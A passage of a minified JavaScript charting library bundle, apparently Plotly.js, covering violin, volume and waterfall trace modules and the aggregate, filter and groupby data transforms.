t=M.findPointOnPath(o.path,S,g,{pathLength:o.pathLength}),r=o.posCenterPx,f=t[d],a=L.side==="both"?2*r-f:r;return[f,a]},Z.getKdeValue=function(o,L,S){var d=o.pts.map(Z.extractVal),g=Z.makeKDE(o,L,d);return g(S)/o.posDensityScale},Z.extractVal=function(o){return o.v}},57634:function(te,Z,e){var M=e(7901),P=e(71828),o=e(89298),L=e(41868),S=e(60168);te.exports=function(g,t,r,f,a){a||(a={});var l=a.hoverLayer,u=g.cd,s=u[0].trace,y=s.hoveron,c=y.indexOf("violins")!==-1,b=y.indexOf("kde")!==-1,h=[],i,v;if(c||b){var T=L.hoverOnBoxes(g,t,r,f);if(b&&T.length>0){var w=g.xa,E=g.ya,p,A,m,n,C;s.orientation==="h"?(C=t,p="y",m=E,A="x",n=w):(C=r,p="x",m=w,A="y",n=E);var x=u[g.index];if(C>=x.span[0]&&C<=x.span[1]){var I=P.extendFlat({},g),k=n.c2p(C,!0),B=S.getKdeValue(x,s,C),_=S.getPositionOnKdePath(x,s,k),F=m._offset,O=m._length;I[p+"0"]=_[0],I[p+"1"]=_[1],I[A+"0"]=I[A+"1"]=k,I[A+"Label"]=A+": "+o.hoverLabelText(n,C,s[A+"hoverformat"])+", "+u[0].t.labels.kde+" "+B.toFixed(3);for(var z=0,N=0;N<T.length;N++)if(T[N].attr==="med"){z=N;break}I.spikeDistance=T[z].spikeDistance;var G=p+"Spike";I[G]=T[z][G],T[z].spikeDistance=void 0,T[z][G]=void 0,I.hovertemplate=!1,h.push(I),v={},v[p+"1"]=P.constrain(F+_[0],F,F+O),v[p+"2"]=P.constrain(F+_[1],F,F+O),v[A+"1"]=v[A+"2"]=n._offset+k}}c&&(h=h.concat(T))}y.indexOf("points")!==-1&&(i=L.hoverOnPoints(g,t,r));var J=l.selectAll(".violinline-"+s.uid).data(v?[0]:[]);return J.enter().append("line").classed("violinline-"+s.uid,!0).attr("stroke-width",1.5),J.exit().remove(),J.attr(v).call(M.stroke,g.color),f==="closest"?i?[i]:h:(i&&h.push(i),h)}},47462:function(te,Z,e){te.exports={attributes:e(68875),layoutAttributes:e(9228),supplyDefaults:e(15899),crossTraceDefaults:e(36411).crossTraceDefaults,supplyLayoutDefaults:e(33598),calc:e(38603),crossTraceCalc:e(86403),plot:e(28443),style:e(31847),styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(57634),selectPoints:e(24626),moduleType:"trace",name:"violin",basePlotModule:e(93612),categories:["cartesian","svg","symbols","oriented","box-violin","showLegend","violinLayout","zoomScale"],meta:{}}},9228:function(te,Z,e){var M=e(40094),P=e(71828).extendFlat;te.exports={violinmode:P({},M.boxmode,{}),violingap:P({},M.boxgap,{}),violingroupgap:P({},M.boxgroupgap,{})}},33598:function(te,Z,e){var M=e(71828),P=e(9228),o=e(4199);te.exports=function(S,d,g){function t(r,f){return M.coerce(S,d,P,r,f)}o._supply(S,d,g,t,"violin")}},28443:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(86047),S=e(34621),d=e(60168);te.exports=function(t,r,f,a){var l=t._context.staticPlot,u=t._fullLayout,s=r.xaxis,y=r.yaxis;function c(b,h){var i=S(b,{xaxis:s,yaxis:y,trace:h,connectGaps:!0,baseTolerance:.75,shape:"spline",simplify:!0,linearized:!0});return o.smoothopen(i[0],1)}P.makeTraceGroups(a,f,"trace violins").each(function(b){var h=M.select(this),i=b[0],v=i.t,T=i.trace;if(T.visible!==!0||v.empty){h.remove();return}var w=v.bPos,E=v.bdPos,p=r[v.valLetter+"axis"],A=r[v.posLetter+"axis"],m=T.side==="both",n=m||T.side==="positive",C=m||T.side==="negative",x=h.selectAll("path.violin").data(P.identity);x.enter().append("path").style("vector-effect",l?"none":"non-scaling-stroke").attr("class","violin"),x.exit().remove(),x.each(function(N){var G=M.select(this),J=N.density,q=J.length,ne=A.c2l(N.pos+w,!0),fe=A.l2p(ne),X;if(T.width)X=v.maxKDE/E;else{var W=u._violinScaleGroupStats[T.scalegroup];X=T.scalemode==="count"?W.maxKDE/E*(W.maxCount/N.pts.length):W.maxKDE/E}var V,Y,Q,ie,j,K,oe;if(n){for(K=new Array(q),ie=0;ie<q;ie++)oe=K[ie]={},oe[v.posLetter]=ne+J[ie].v/X,oe[v.valLetter]=p.c2l(J[ie].t,!0);V=c(K,T)}if(C){for(K=new Array(q),j=0,ie=q-1;j<q;j++,ie--)oe=K[j]={},oe[v.posLetter]=ne-J[ie].v/X,oe[v.valLetter]=p.c2l(J[ie].t,!0);Y=c(K,T)}if(m)Q=V+"L"+Y.substr(1)+"Z";else{var re=[fe,p.c2p(J[0].t)],le=[fe,p.c2p(J[q-1].t)];T.orientation==="h"&&(re.reverse(),le.reverse()),n?Q="M"+re+"L"+V.substr(1)+"L"+le:Q="M"+le+"L"+Y.substr(1)+"L"+re}G.attr("d",Q),N.posCenterPx=fe,N.posDensityScale=X*E,N.path=G.node(),N.pathLength=N.path.getTotalLength()/(m?2:1)});var I=T.box,k=I.width,B=(I.line||{}).width,_,F;m?(_=E*k,F=0):n?(_=[0,E*k/2],F=B*{x:1,y:-1}[v.posLetter]):(_=[E*k/2,0],F=B*{x:-1,y:1}[v.posLetter]),L.plotBoxAndWhiskers(h,{pos:A,val:p},T,{bPos:w,bdPos:_,bPosPxOffset:F}),L.plotBoxMean(h,{pos:A,val:p},T,{bPos:w,bdPos:_,bPosPxOffset:F});var O;!T.box.visible&&T.meanline.visible&&(O=P.identity);var z=h.selectAll("path.meanline").data(O||[]);z.enter().append("path").attr("class","meanline").style("fill","none").style("vector-effect",l?"none":"non-scaling-stroke"),z.exit().remove(),z.each(function(N){var G=p.c2p(N.mean,!0),J=d.getPositionOnKdePath(N,T,G);M.select(this).attr("d",T.orientation==="h"?"M"+G+","+J[0]+"V"+J[1]:"M"+J[0]+","+G+"H"+J[1])}),L.plotPoints(h,{x:s,y},T,v)})}},31847:function(te,Z,e){var M=e(39898),P=e(7901),o=e(16296).stylePoints;te.exports=function(S){var d=M.select(S).selectAll("g.trace.violins");d.style("opacity",function(g){return g[0].trace.opacity}),d.each(function(g){var t=g[0].trace,r=M.select(this),f=t.box||{},a=f.line||{},l=t.meanline||{},u=l.width;r.selectAll("path.violin").style("stroke-width",t.line.width+"px").call(P.stroke,t.line.color).call(P.fill,t.fillcolor),r.selectAll("path.box").style("stroke-width",a.width+"px").call(P.stroke,a.color).call(P.fill,f.fillcolor);var s={"stroke-width":u+"px","stroke-dasharray":2*u+"px,"+u+"px"};r.selectAll("path.mean").style(s).call(P.stroke,l.color),r.selectAll("path.meanline").style(s).call(P.stroke,l.color),o(r,t,S)})}},16336:function(te,Z,e){var M=e(50693),P=e(16249),o=e(54532),L=e(9012),S=e(1426).extendFlat,d=e(30962).overrideAll,g=te.exports=d(S({x:P.x,y:P.y,z:P.z,value:P.value,isomin:P.isomin,isomax:P.isomax,surface:P.surface,spaceframe:{show:{valType:"boolean",dflt:!1},fill:{valType:"number",min:0,max:1,dflt:1}},slices:P.slices,caps:P.caps,text:P.text,hovertext:P.hovertext,xhoverformat:P.xhoverformat,yhoverformat:P.yhoverformat,zhoverformat:P.zhoverformat,valuehoverformat:P.valuehoverformat,hovertemplate:P.hovertemplate},M("",{colorAttr:"`value`",showScaleDflt:!0,editTypeOverride:"calc"}),{colorbar:P.colorbar,opacity:P.opacity,opacityscale:o.opacityscale,lightposition:P.lightposition,lighting:P.lighting,flatshading:P.flatshading,contour:P.contour,hoverinfo:S({},L.hoverinfo),showlegend:S({},L.showlegend,{dflt:!1})}),"calc","nested");g.x.editType=g.y.editType=g.z.editType=g.value.editType="calc+clearAxisTypes",g.transforms=void 0},64809:function(te,Z,e){var M=e(9330).gl_mesh3d,P=e(81697).parseColorScale,o=e(78614),L=e(21081).extractOpts,S=e(90060),d=e(22674).findNearestOnAxis,g=e(22674).generateIsoMeshes;function t(a,l,u){this.scene=a,this.uid=u,this.mesh=l,this.name="",this.data=null,this.showContour=!1}var r=t.prototype;r.handlePick=function(a){if(a.object===this.mesh){var l=a.data.index,u=this.data._meshX[l],s=this.data._meshY[l],y=this.data._meshZ[l],c=this.data._Ys.length,b=this.data._Zs.length,h=d(u,this.data._Xs).id,i=d(s,this.data._Ys).id,v=d(y,this.data._Zs).id,T=a.index=v+b*i+b*c*h;a.traceCoordinate=[this.data._meshX[T],this.data._meshY[T],this.data._meshZ[T],this.data._value[T]];var w=this.data.hovertext||this.data.text;return Array.isArray(w)&&w[T]!==void 0?a.textLabel=w[T]:w&&(a.textLabel=w),!0}},r.update=function(a){var l=this.scene,u=l.fullSceneLayout;this.data=g(a);function s(i,v,T,w){return v.map(function(E){return i.d2l(E,0,w)*T})}var y=S(s(u.xaxis,a._meshX,l.dataScale[0],a.xcalendar),s(u.yaxis,a._meshY,l.dataScale[1],a.ycalendar),s(u.zaxis,a._meshZ,l.dataScale[2],a.zcalendar)),c=S(a._meshI,a._meshJ,a._meshK),b={positions:y,cells:c,lightPosition:[a.lightposition.x,a.lightposition.y,a.lightposition.z],ambient:a.lighting.ambient,diffuse:a.lighting.diffuse,specular:a.lighting.specular,roughness:a.lighting.roughness,fresnel:a.lighting.fresnel,vertexNormalsEpsilon:a.lighting.vertexnormalsepsilon,faceNormalsEpsilon:a.lighting.facenormalsepsilon,opacity:a.opacity,opacityscale:a.opacityscale,contourEnable:a.contour.show,contourColor:o(a.contour.color).slice(0,3),contourWidth:a.contour.width,useFacetNormals:a.flatshading},h=L(a);b.vertexIntensity=a._meshIntensity,b.vertexIntensityBounds=[h.min,h.max],b.colormap=P(a),this.mesh.update(b)},r.dispose=function(){this.scene.glplot.remove(this.mesh),this.mesh.dispose()};function f(a,l){var u=a.glplot.gl,s=M({gl:u}),y=new t(a,s,l.uid);return s._trace=y,y.update(l),a.glplot.add(s),y}te.exports=f},47651:function(te,Z,e){var M=e(71828),P=e(16336),o=e(82738).supplyIsoDefaults,L=e(91831).opacityscaleDefaults;te.exports=function(d,g,t,r){function f(a,l){return M.coerce(d,g,P,a,l)}o(d,g,t,r,f),L(d,g,r,f)}},17659:function(te,Z,e){te.exports={attributes:e(16336),supplyDefaults:e(47651),calc:e(56959),colorbar:{min:"cmin",max:"cmax"},plot:e(64809),moduleType:"trace",name:"volume",basePlotModule:e(58547),categories:["gl3d","showLegend"],meta:{}}},43037:function(te,Z,e){var M=e(1486),P=e(82196).line,o=e(9012),L=e(12663).axisHoverFormat,S=e(5386).fF,d=e(5386).si,g=e(48334),t=e(1426).extendFlat,r=e(7901);function f(a){return{marker:{color:t({},M.marker.color,{arrayOk:!1,editType:"style"}),line:{color:t({},M.marker.line.color,{arrayOk:!1,editType:"style"}),width:t({},M.marker.line.width,{arrayOk:!1,editType:"style"}),editType:"style"},editType:"style"},editType:"style"}}te.exports={measure:{valType:"data_array",dflt:[],editType:"calc"},base:{valType:"number",dflt:null,arrayOk:!1,editType:"calc"},x:M.x,x0:M.x0,dx:M.dx,y:M.y,y0:M.y0,dy:M.dy,xperiod:M.xperiod,yperiod:M.yperiod,xperiod0:M.xperiod0,yperiod0:M.yperiod0,xperiodalignment:M.xperiodalignment,yperiodalignment:M.yperiodalignment,xhoverformat:L("x"),yhoverformat:L("y"),hovertext:M.hovertext,hovertemplate:S({},{keys:g.eventDataKeys}),hoverinfo:t({},o.hoverinfo,{flags:["name","x","y","text","initial","delta","final"]}),textinfo:{valType:"flaglist",flags:["label","text","initial","delta","final"],extras:["none"],editType:"plot",arrayOk:!1},texttemplate:d({editType:"plot"},{keys:g.eventDataKeys.concat(["label"])}),text:M.text,textposition:M.textposition,insidetextanchor:M.insidetextanchor,textangle:M.textangle,textfont:M.textfont,insidetextfont:M.insidetextfont,outsidetextfont:M.outsidetextfont,constraintext:M.constraintext,cliponaxis:M.cliponaxis,orientation:M.orientation,offset:M.offset,width:M.width,increasing:f(),decreasing:f(),totals:f(),connector:{line:{color:t({},P.color,{dflt:r.defaultLine}),width:t({},P.width,{editType:"plot"}),dash:P.dash,editType:"plot"},mode:{valType:"enumerated",values:["spanning","between"],dflt:"between",editType:"plot"},visible:{valType:"boolean",dflt:!0,editType:"plot"},editType:"plot"},offsetgroup:M.offsetgroup,alignmentgroup:M.alignmentgroup}},52752:function(te,Z,e){var M=e(89298),P=e(42973),o=e(71828).mergeArray,L=e(66279),S=e(50606).BADNUM;function d(t){return t==="a"||t==="absolute"}function g(t){return t==="t"||t==="total"}te.exports=function(r,f){var a=M.getFromId(r,f.xaxis||"x"),l=M.getFromId(r,f.yaxis||"y"),u,s,y,c,b,h;f.orientation==="h"?(u=a.makeCalcdata(f,"x"),y=l.makeCalcdata(f,"y"),c=P(f,l,"y",y),b=!!f.yperiodalignment,h="y"):(u=l.makeCalcdata(f,"y"),y=a.makeCalcdata(f,"x"),c=P(f,a,"x",y),b=!!f.xperiodalignment,h="x"),s=c.vals;for(var i=Math.min(s.length,u.length),v=new Array(i),T=0,w,E=!1,p=0;p<i;p++){var A=u[p]||0,m=!1;(u[p]!==S||g(f.measure[p])||d(f.measure[p]))&&p+1<i&&(u[p+1]!==S||g(f.measure[p+1])||d(f.measure[p+1]))&&(m=!0);var n=v[p]={i:p,p:s[p],s:A,rawS:A,cNext:m};d(f.measure[p])?(T=n.s,n.isSum=!0,n.dir="totals",n.s=T):g(f.measure[p])?(n.isSum=!0,n.dir="totals",n.s=T):(n.isSum=!1,n.dir=n.rawS<0?"decreasing":"increasing",w=n.s,n.s=T+w,T+=w),n.dir==="totals"&&(E=!0),b&&(v[p].orig_p=y[p],v[p][h+"End"]=c.ends[p],v[p][h+"Start"]=c.starts[p]),f.ids&&(n.id=String(f.ids[p])),n.v=(f.base||0)+T}return v.length&&(v[0].hasTotals=E),o(f.text,v,"tx"),o(f.hovertext,v,"htx"),L(v,f),v}},48334:function(te){te.exports={eventDataKeys:["initial","delta","final"]}},70766:function(te,Z,e){var M=e(11661).setGroupPositions;te.exports=function(o,L){var S=o._fullLayout,d=o._fullData,g=o.calcdata,t=L.xaxis,r=L.yaxis,f=[],a=[],l=[],u,s;for(s=0;s<d.length;s++){var y=d[s];y.visible===!0&&y.xaxis===t._id&&y.yaxis===r._id&&y.type==="waterfall"&&(u=g[s],y.orientation==="h"?l.push(u):a.push(u),f.push(u))}var c={mode:S.waterfallmode,norm:S.waterfallnorm,gap:S.waterfallgap,groupgap:S.waterfallgroupgap};for(M(o,t,r,a,c),M(o,r,t,l,c),s=0;s<f.length;s++){u=f[s];for(var b=0;b<u.length;b++){var h=u[b];h.isSum===!1&&(h.s0+=b===0?0:u[b-1].s),b+1<u.length&&(u[b].nextP0=u[b+1].p0,u[b].nextS0=u[b+1].s0)}}}},83266:function(te,Z,e){var M=e(71828),P=e(26125),o=e(90769).handleText,L=e(67513),S=e(73927),d=e(43037),g=e(7901),t=e(22372),r=t.INCREASING.COLOR,f=t.DECREASING.COLOR,a="#4499FF";function l(y,c,b){y(c+".marker.color",b),y(c+".marker.line.color",g.defaultLine),y(c+".marker.line.width")}function u(y,c,b,h){function i(p,A){return M.coerce(y,c,d,p,A)}var v=L(y,c,h,i);if(!v){c.visible=!1;return}S(y,c,h,i),i("xhoverformat"),i("yhoverformat"),i("measure"),i("orientation",c.x&&!c.y?"h":"v"),i("base"),i("offset"),i("width"),i("text"),i("hovertext"),i("hovertemplate");var T=i("textposition");o(y,c,h,i,T,{moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!0,moduleHasCliponaxis:!0,moduleHasTextangle:!0,moduleHasInsideanchor:!0}),c.textposition!=="none"&&(i("texttemplate"),c.texttemplate||i("textinfo")),l(i,"increasing",r),l(i,"decreasing",f),l(i,"totals",a);var w=i("connector.visible");if(w){i("connector.mode");var E=i("connector.line.width");E&&(i("connector.line.color"),i("connector.line.dash"))}}function s(y,c){var b,h;function i(T){return M.coerce(h._input,h,d,T)}if(c.waterfallmode==="group")for(var v=0;v<y.length;v++)h=y[v],b=h._input,P(b,h,c,i)}te.exports={supplyDefaults:u,crossTraceDefaults:s}},58593:function(te){te.exports=function(e,M){return e.x="xVal"in M?M.xVal:M.x,e.y="yVal"in M?M.yVal:M.y,"initial"in M&&(e.initial=M.initial),"delta"in M&&(e.delta=M.delta),"final"in M&&(e.final=M.final),M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),e}},61326:function(te,Z,e){var M=e(89298).hoverLabelText,P=e(7901).opacity,o=e(95423).hoverOnBars,L=e(22372),S={increasing:L.INCREASING.SYMBOL,decreasing:L.DECREASING.SYMBOL};te.exports=function(t,r,f,a,l){var u=o(t,r,f,a,l);if(!u)return;var s=u.cd,y=s[0].trace,c=y.orientation==="h",b=c?"x":"y",h=c?t.xa:t.ya;function i(x){return M(h,x,y[b+"hoverformat"])}var v=u.index,T=s[v],w=T.isSum?T.b+T.s:T.rawS;u.initial=T.b+T.s-w,u.delta=w,u.final=u.initial+u.delta;var E=i(Math.abs(u.delta));u.deltaLabel=w<0?"("+E+")":E,u.finalLabel=i(u.final),u.initialLabel=i(u.initial);var p=T.hi||y.hoverinfo,A=[];if(p&&p!=="none"&&p!=="skip"){var m=p==="all",n=p.split("+"),C=function(x){return m||n.indexOf(x)!==-1};T.isSum||(C("final")&&(c?!C("x"):!C("y"))&&A.push(u.finalLabel),C("delta")&&(w<0?A.push(u.deltaLabel+" "+S.decreasing):A.push(u.deltaLabel+" "+S.increasing)),C("initial")&&A.push("Initial: "+u.initialLabel))}return A.length&&(u.extraText=A.join("<br>")),u.color=d(y,T),[u]};function d(g,t){var r=g[t.dir].marker,f=r.color,a=r.line.color,l=r.line.width;if(P(f))return f;if(P(a)&&l)return a}},19990:function(te,Z,e){te.exports={attributes:e(43037),layoutAttributes:e(13494),supplyDefaults:e(83266).supplyDefaults,crossTraceDefaults:e(83266).crossTraceDefaults,supplyLayoutDefaults:e(5176),calc:e(52752),crossTraceCalc:e(70766),plot:e(30436),style:e(55750).style,hoverPoints:e(61326),eventData:e(58593),selectPoints:e(81974),moduleType:"trace",name:"waterfall",basePlotModule:e(93612),categories:["bar-like","cartesian","svg","oriented","showLegend","zoomScale"],meta:{}}},13494:function(te){te.exports={waterfallmode:{valType:"enumerated",values:["group","overlay"],dflt:"group",editType:"calc"},waterfallgap:{valType:"number",min:0,max:1,editType:"calc"},waterfallgroupgap:{valType:"number",min:0,max:1,dflt:0,editType:"calc"}}},5176:function(te,Z,e){var M=e(71828),P=e(13494);te.exports=function(o,L,S){var d=!1;function g(f,a){return M.coerce(o,L,P,f,a)}for(var t=0;t<S.length;t++){var r=S[t];if(r.visible&&r.type==="waterfall"){d=!0;break}}d&&(g("waterfallmode"),g("waterfallgap",.2),g("waterfallgroupgap"))}},30436:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(50606).BADNUM,S=e(17295),d=e(72597).clearMinTextSize;te.exports=function(f,a,l,u){var s=f._fullLayout;d("waterfall",s),S.plot(f,a,l,u,{mode:s.waterfallmode,norm:s.waterfallmode,gap:s.waterfallgap,groupgap:s.waterfallgroupgap}),g(f,a,l,u)};function g(r,f,a,l){var u=f.xaxis,s=f.yaxis;P.makeTraceGroups(l,a,"trace bars").each(function(y){var c=M.select(this),b=y[0].trace,h=P.ensureSingle(c,"g","lines");if(!b.connector||!b.connector.visible){h.remove();return}var i=b.orientation==="h",v=b.connector.mode,T=h.selectAll("g.line").data(P.identity);T.enter().append("g").classed("line",!0),T.exit().remove();var w=T.size();T.each(function(E,p){if(!(p!==w-1&&!E.cNext)){var A=t(E,u,s,i),m=A[0],n=A[1],C="";m[0]!==L&&n[0]!==L&&m[1]!==L&&n[1]!==L&&(v==="spanning"&&!E.isSum&&p>0&&(i?C+="M"+m[0]+","+n[1]+"V"+n[0]:C+="M"+m[1]+","+n[0]+"H"+m[0]),v!=="between"&&(E.isSum||p<w-1)&&(i?C+="M"+m[1]+","+n[0]+"V"+n[1]:C+="M"+m[0]+","+n[1]+"H"+m[1]),m[2]!==L&&n[2]!==L&&(i?C+="M"+m[1]+","+n[1]+"V"+n[2]:C+="M"+m[1]+","+n[1]+"H"+m[2])),C===""&&(C="M0,0Z"),P.ensureSingle(M.select(this),"path").attr("d",C).call(o.setClipUrl,f.layerClipId,r)}})})}function t(r,f,a,l){var u=[],s=[],y=l?f:a,c=l?a:f;return u[0]=y.c2p(r.s0,!0),s[0]=c.c2p(r.p0,!0),u[1]=y.c2p(r.s1,!0),s[1]=c.c2p(r.p1,!0),u[2]=y.c2p(r.nextS0,!0),s[2]=c.c2p(r.nextP0,!0),l?[u,s]:[s,u]}},55750:function(te,Z,e){var M=e(39898),P=e(91424),o=e(7901),L=e(37822).DESELECTDIM,S=e(16688),d=e(72597).resizeText,g=S.styleTextPoints;function t(r,f,a){var l=a||M.select(r).selectAll("g.waterfalllayer").selectAll("g.trace");d(r,l,"waterfall"),l.style("opacity",function(u){return u[0].trace.opacity}),l.each(function(u){var s=M.select(this),y=u[0].trace;s.selectAll(".point > path").each(function(c){if(!c.isBlank){var b=y[c.dir].marker;M.select(this).call(o.fill,b.color).call(o.stroke,b.line.color).call(P.dashLine,b.line.dash,b.line.width).style("opacity",y.selectedpoints&&!c.selected?L:1)}}),g(s,y,r),s.selectAll(".lines").each(function(){var c=y.connector.line;P.lineGroupStyle(M.select(this).selectAll("path"),c.width,c.color,c.dash)})})}te.exports={style:t}},82887:function(te,Z,e){var M=e(89298),P=e(71828),o=e(86281),L=e(79344).p,S=e(50606).BADNUM;Z.moduleType="transform",Z.name="aggregate";var d=Z.attributes={enabled:{valType:"boolean",dflt:!0,editType:"calc"},groups:{valType:"string",strict:!0,noBlank:!0,arrayOk:!0,dflt:"x",editType:"calc"},aggregations:{_isLinkedToArray:"aggregation",target:{valType:"string",editType:"calc"},func:{valType:"enumerated",values:["count","sum","avg","median","mode","rms","stddev","min","max","first","last","change","range"],dflt:"first",editType:"calc"},funcmode:{valType:"enumerated",values:["sample","population"],dflt:"sample",editType:"calc"},enabled:{valType:"boolean",dflt:!0,editType:"calc"},editType:"calc"},editType:"calc"},g=d.aggregations;Z.supplyDefaults=function(u,s){var y={},c;function b(x,I){return P.coerce(u,y,d,x,I)}var h=b("enabled");if(!h)return y;var i=o.findArrayAttributes(s),v={};for(c=0;c<i.length;c++)v[i[c]]=1;var T=b("groups");if(!Array.isArray(T)){if(!v[T])return y.enabled=!1,y;v[T]=0}var w=u.aggregations||[],E=y.aggregations=new Array(w.length),p;function A(x,I){return P.coerce(w[c],p,g,x,I)}for(c=0;c<w.length;c++){p={_index:c};var m=A("target"),n=A("func"),C=A("enabled");C&&m&&(v[m]||n==="count"&&v[m]===void 0)?(n==="stddev"&&A("funcmode"),v[m]=0,E[c]=p):E[c]={enabled:!1,_index:c}}for(c=0;c<i.length;c++)v[i[c]]&&E.push({target:i[c],func:g.func.dflt,enabled:!0,_index:-1});return y},Z.calcTransform=function(u,s,y){if(y.enabled){var c=y.groups,b=P.getTargetArray(s,{target:c});if(b){var h,i,v,T,w={},E={},p=[],A=L(s.transforms,y),m=b.length;for(s._length&&(m=Math.min(m,s._length)),h=0;h<m;h++)i=b[h],v=w[i],v===void 0?(w[i]=p.length,T=[h],p.push(T),E[w[i]]=A(h)):(p[v].push(h),E[w[i]]=(E[w[i]]||[]).concat(A(h)));y._indexToPoints=E;var n=y.aggregations;for(h=0;h<n.length;h++)t(u,s,p,n[h]);typeof c=="string"&&t(u,s,p,{target:c,func:"first",enabled:!0}),s._length=p.length}}};function t(u,s,y,c){if(c.enabled){for(var b=c.target,h=P.nestedProperty(s,b),i=h.get(),v=M.getDataConversions(u,s,b,i),T=r(c,v),w=new Array(y.length),E=0;E<y.length;E++)w[E]=T(i,y[E]);h.set(w),c.func==="count"&&P.pushUnique(s._arrayAttrs,b)}}function r(u,s){var y=u.func,c=s.d2c,b=s.c2d;switch(y){case"count":return f;case"first":return a;case"last":return l;case"sum":return function(h,i){for(var v=0,T=0;T<i.length;T++){var w=c(h[i[T]]);w!==S&&(v+=w)}return b(v)};case"avg":return function(h,i){for(var v=0,T=0,w=0;w<i.length;w++){var E=c(h[i[w]]);E!==S&&(v+=E,T++)}return T?b(v/T):S};case"min":return function(h,i){for(var v=1/0,T=0;T<i.length;T++){var w=c(h[i[T]]);w!==S&&(v=Math.min(v,w))}return v===1/0?S:b(v)};case"max":return function(h,i){for(var v=-1/0,T=0;T<i.length;T++){var w=c(h[i[T]]);w!==S&&(v=Math.max(v,w))}return v===-1/0?S:b(v)};case"range":return function(h,i){for(var v=1/0,T=-1/0,w=0;w<i.length;w++){var E=c(h[i[w]]);E!==S&&(v=Math.min(v,E),T=Math.max(T,E))}return T===-1/0||v===1/0?S:b(T-v)};case"change":return function(h,i){var v=c(h[i[0]]),T=c(h[i[i.length-1]]);return v===S||T===S?S:b(T-v)};case"median":return function(h,i){for(var v=[],T=0;T<i.length;T++){var w=c(h[i[T]]);w!==S&&v.push(w)}if(!v.length)return S;v.sort(P.sorterAsc);var E=(v.length-1)/2;return b((v[Math.floor(E)]+v[Math.ceil(E)])/2)};case"mode":return function(h,i){for(var v={},T=0,w=S,E=0;E<i.length;E++){var p=c(h[i[E]]);if(p!==S){var A=v[p]=(v[p]||0)+1;A>T&&(T=A,w=p)}}return T?b(w):S};case"rms":return function(h,i){for(var v=0,T=0,w=0;w<i.length;w++){var E=c(h[i[w]]);E!==S&&(v+=E*E,T++)}return T?b(Math.sqrt(v/T)):S};case"stddev":return function(h,i){var v=0,T=0,w=1,E=S,p;for(p=0;p<i.length&&E===S;p++)E=c(h[i[p]]);if(E===S)return S;for(;p<i.length;p++){var A=c(h[i[p]]);if(A!==S){var m=A-E;v+=m,T+=m*m,w++}}var n=u.funcmode==="sample"?w-1:w;return n?Math.sqrt((T-v*v/w)/n):0}}}function f(u,s){return s.length}function a(u,s){return u[s[0]]}function l(u,s){return u[s[s.length-1]]}},14382:function(te,Z,e){var M=e(71828),P=e(73972),o=e(89298),L=e(79344).p,S=e(74808),d=S.COMPARISON_OPS,g=S.INTERVAL_OPS,t=S.SET_OPS;Z.moduleType="transform",Z.name="filter",Z.attributes={enabled:{valType:"boolean",dflt:!0,editType:"calc"},target:{valType:"string",strict:!0,noBlank:!0,arrayOk:!0,dflt:"x",editType:"calc"},operation:{valType:"enumerated",values:[].concat(d).concat(g).concat(t),dflt:"=",editType:"calc"},value:{valType:"any",dflt:0,editType:"calc"},preservegaps:{valType:"boolean",dflt:!1,editType:"calc"},editType:"calc"},Z.supplyDefaults=function(f){var a={};function l(c,b){return M.coerce(f,a,Z.attributes,c,b)}var u=l("enabled");if(u){var s=l("target");if(M.isArrayOrTypedArray(s)&&s.length===0)return a.enabled=!1,a;l("preservegaps"),l("operation"),l("value");var y=P.getComponentMethod("calendars","handleDefaults");y(f,a,"valuecalendar",null),y(f,a,"targetcalendar",null)}return a},Z.calcTransform=function(f,a,l){if(!l.enabled)return;var u=M.getTargetArray(a,l);if(!u)return;var s=l.target,y=u.length;a._length&&(y=Math.min(y,a._length));var c=l.targetcalendar,b=a._arrayAttrs,h=l.preservegaps;if(typeof s=="string"){var i=M.nestedProperty(a,s+"calendar").get();i&&(c=i)}var v=o.getDataToCoordFunc(f,a,s,u),T=r(l,v,c),w={},E={},p=0;function A(k,B){for(var _=0;_<b.length;_++){var F=M.nestedProperty(a,b[_]);k(F,B)}}var m,n;h?(m=function(k){w[k.astr]=M.extendDeep([],k.get()),k.set(new Array(y))},n=function(k,B){var _=w[k.astr][B];k.get()[B]=_}):(m=function(k){w[k.astr]=M.extendDeep([],k.get()),k.set([])},n=function(k,B){var _=w[k.astr][B];k.get().push(_)}),A(m);for(var C=L(a.transforms,l),x=0;x<y;x++){var I=T(u[x]);I?(A(n,x),E[p++]=C(x)):h&&p++}l._indexToPoints=E,a._length=p};function r(f,a,l){var u=f.operation,s=f.value,y=Array.isArray(s);function c(v){return v.indexOf(u)!==-1}var b=function(v){return a(v,0,f.valuecalendar)},h=function(v){return a(v,0,l)},i;switch(c(d)?i=b(y?s[0]:s):c(g)?i=y?[b(s[0]),b(s[1])]:[b(s),b(s)]:c(t)&&(i=y?s.map(b):[b(s)]),u){case"=":return function(v){return h(v)===i};case"!=":return function(v){return h(v)!==i};case"<":return function(v){return h(v)<i};case"<=":return function(v){return h(v)<=i};case">":return function(v){return h(v)>i};case">=":return function(v){return h(v)>=i};case"[]":return function(v){var T=h(v);return T>=i[0]&&T<=i[1]};case"()":return function(v){var T=h(v);return T>i[0]&&T<i[1]};case"[)":return function(v){var T=h(v);return T>=i[0]&&T<i[1]};case"(]":return function(v){var T=h(v);return T>i[0]&&T<=i[1]};case"][":return function(v){var T=h(v);return T<=i[0]||T>=i[1]};case")(":return function(v){var T=h(v);return T<i[0]||T>i[1]};case"](":return function(v){var T=h(v);return T<=i[0]||T>i[1]};case")[":return function(v){var T=h(v);return T<i[0]||T>=i[1]};case"{}":return function(v){return i.indexOf(h(v))!==-1};case"}{":return function(v){return i.indexOf(h(v))===-1}}}},43102:function(te,Z,e){var M=e(71828),P=e(86281),o=e(74875),L=e(79344).p;Z.moduleType="transform",Z.name="groupby",Z.attributes={enabled:{valType:"boolean",dflt:!0,editType:"calc"},groups:{valType:"data_array",dflt:[],editType:"calc"},nameformat:{valType:"string",editType:"calc"},styles:{_isLinkedToArray:"style",target:{valType:"string",editType:"calc"},value:{valType:"any",dflt:{},editType:"calc",_compareAsJSON:!0},editType:"calc"},editType:"calc"},Z.supplyDefaults=function(d,g,t){var r,f={};function a(b,h){return M.coerce(d,f,Z.attributes,b,h)}var l=a("enabled");if(!l)return f;a("groups"),a("nameformat",t._dataLength>1?"%{group} (%{trace})":"%{group}");var u=d.styles,s=f.styles=[];if(u)for(r=0;r<u.length;r++){var 